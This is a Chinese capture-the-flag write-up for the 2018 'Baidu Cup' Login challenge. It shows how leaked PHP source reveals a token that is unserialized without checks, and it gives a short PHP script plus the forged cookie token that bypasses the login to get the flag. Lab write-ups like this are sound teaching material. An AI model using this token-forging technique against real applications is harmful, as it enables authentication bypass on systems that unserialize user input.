Login ------------------ “百度杯”CTF比賽 十月場
阿新 • • 發佈:2018-12-09
登入介面
右鍵檢視原始碼
沒有什麼資訊(才怪嘞(╯‵□′)╯︵┻━┻),往下劃拉,最底下有驚喜
應該就是賬號密碼了,用它們登入後只有一個表情,好像也沒啥資訊
檢視原始碼也木有發現
用Burp抓包看看,響應包裡面有個show引數很可疑啊
在請求包裡改成 show: 1 新增試試
返回了原始碼
<?php include 'common.php'; $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE); class db { public $where; function __wakeup() { if(!empty($this->where)) { $this->select($this->where); } } function select($where) { $sql = mysql_query('select * from user where '.$where); return @mysql_fetch_array($sql); } } if(isset($requset['token'])) { $login = unserialize(gzuncompress(base64_decode($requset['token']))); $db = new db(); $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\''); if($login['user'] === 'ichunqiu') { echo $flag; }else if($row['pass'] !== $login['pass']){ echo 'unserialize injection!!'; }else{ echo "(╯‵□′)╯︵┴─┴ "; } }else{ header('Location: index.php?error=1'); } ?>
審計程式碼,發現登入賬號 user 必須是 ichunqiu 才會顯示flag
if($login['user'] === 'ichunqiu') { echo $flag;
並且user被處理過
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
相關函式:
unserialize:對單一的已序列化的變數進行操作,將其轉換回 PHP 的值
gzuncompress:解壓被壓縮的字串
base64_decode:base64解碼
分析可知,login是通過token接收user,並進行base64解碼,再解壓縮,反序列化
那麼我們只要對其進行一系列逆操作就行,先處理 ichunqiu 字串
<?php
$a = array("user"=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($a)));
echo $a
?>
將以上程式碼儲存為ichunqiu.php檔案,在本地開啟(這使用的wamp,放在www目錄下),瀏覽器裡面輸入127.0.0.1/ichunqiu.php 即可
複製返回的字串,在請求包中建立一個cookie token:eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
Go 獲得flag